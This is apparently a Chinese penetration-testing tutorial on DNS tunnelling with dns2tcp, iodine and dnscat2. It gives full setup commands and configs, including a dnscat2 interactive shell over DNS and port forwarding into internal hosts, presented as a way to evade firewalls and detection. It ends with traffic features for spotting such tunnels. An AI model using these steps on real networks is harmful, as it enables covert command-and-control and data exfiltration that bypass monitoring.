上一节介绍了icmp隧道,这一节介绍另外一种经常会见到的隧道技术-DNS。DNS隧道在工作还是很常见的,好多内网的挖矿都是通过DNS协议去逃避一些检测,而这个技术也是很早就有的,大多数防火墙和入侵检测设备对DNS流量是放行的,在实战中遇到反弹权限不回来,就可以尝试建立dns隧道。
上层协议例如HTTP、HTTPS协议、正反向端口转发都失败时
域名购买:https://www.freenom.com/ 可以白嫖一年
内网主机:kali
公网vps:国内外均可
配置解析记录
第一条NS解析是在告诉域名系统,想要知道“dnstcp.nsccna.ga”的IP地址,就去问“test.nsccna.ga”。
第二条A类解析是在告诉域名系统,“test.nsccna.ga”的IP地址是“xx.xx.xx.xx”。
在cloudflare上设置A记录,是找不到我们自己的主机的,然而免费的域名提供商freenom没找到添加ns记录的地方。最后选择了godaddy.com。
还是按上面设置,然后抓53端口的数据包,看到有内容过来,那么准备工作就做好了。
Dns2tcp是一个通过DNS中继TCP连接的工具。
安装的话,编译安装或者直接apt安装都行
配置服务端
新建一个配置文件,内容如下
cat > ~/.dns2tcp.conf << EOF
listen = x.x.x.x
port = 53
user = nobody
key = whateveryouwant
chroot = /var/empty/dns2tcp/
domain = dns2tcp.hsc.fr
resources = ssh:127.0.0.1:22 , smtp:127.0.0.1:25,
pop3:10.0.0.1:110, ssh2:[fe80::1664]:22
EOF
启动服务端
dns2tcpd -f dns2tcp.conf -F -d 2
有时候53端口可能会被systemd-resolved占用掉,所以需要先停止该服务。另外一直报Error socket.c:107 bind error错误,就修改监听地址为0.0.0.0
启动客户端
dns2tcpc -r ssh -z dns2tcp.kxxxxb.xyz -l 2333 -d 2
就可以连接了。
简单解释下命令含义
-F 启动时强制显示在前端
-d debug等级,总共3级
客户端命令
可以通过-h查看详情
抓包看一下详细内容
可以看到大量的dns的txt查询,同时会带着域名。所以在蓝队通过流量分析设备就能发现,估计现在流量检测设备瞬间就报警了。
iodine也是一个常用的DNS隧道软件,通过dns传输ipv4数据
github上面有很详细的介绍了,直接apt安装就行
服务端
iodined -f -P YourPassword 172.168.100.1 xx.xx.xx
# -f 开启前台显示
# -P 连接密码,自己设置
# 172.168.100.1 是自设的内网网段 也可用10.10.10.1之类,不和本机冲突就行
客户端
iodine -f -d 隧道名 服务端IP xx.xx.xx
成功后就可以看到网卡多了一个隧道
抓包看了下,发现是直连的。会暴露IP。同时查询是NULL,且会使用不定前缀的子域名
客户端连接命令不加服务端IP,但是这次需要制定之前配置好的域名
Dnscat2服务端的是交互模式,类似上一篇中的icmpsh工具,通过走dns流量来实现命令控制
安装:服务端需要ruby环境和gem工具,先apt安装一下
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
bundle install
如果报错请安装ruby-dev
apt install ruby-dev
客户端根据不同环境编译即可,linux下用make编译,windows下用Visual Studio
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
服务端启动命令
ruby ./dnscat2.rb (domain)
执行后,会提示客户端所需要执行的命令,当不加域名时采用直连的方式
启动后可以执行先执行测试
然后客户端执行启动命令即可,连接后服务端会收到一个session
执行session -i 1就可以进入执行命令,可以执行help看下可以执行的命令
执行shell命令后可以返回一个shell session,需要返回到初始页面进行切换
执行session -i 3进入后,就可以获取一个交互式shell
也可以执行listen命令,进行转发类似于ssh
listen 127.0.0.1:2222 10.10.10.10:22 \\监听2222端口,转发到内网10.10.10.10:22上
抓包看下数据流
可以看到是通过不同dns请求来传输数据的
dns隧道特征同样明显,因为会大量处理相关请求
dns2tcp除了txt还支持key查询,iodine支持多种协议
dnscat2可扩展,支持自定义端口,默认加密
正常DNS会话比较简短,随着一次DNS解析任务结束而结束。
DNS隧道木马的会话随着木马的生命周期结束而结束,但在整个木马的生命周期里会向CC服务器发送心跳包,传输信息,资源文件等行为。CC服务器也会发送控制指令。所以在DNS隧道木马的会话中DNS报文数量大。
在正常的DNS流量中。A记录类型的流量占20%-30%,CNAME记录为38%-48%,AAAA记录占25%,NS记录只有5%,TXT记录只有1%-2%。然而为了获取更高的带宽,一部分的DNS隐蔽信道工具如Iodine。在默认配置下会使用TXT或NULL等不常用的记录类型。
奇奇怪怪的子域名前缀,域名部分不变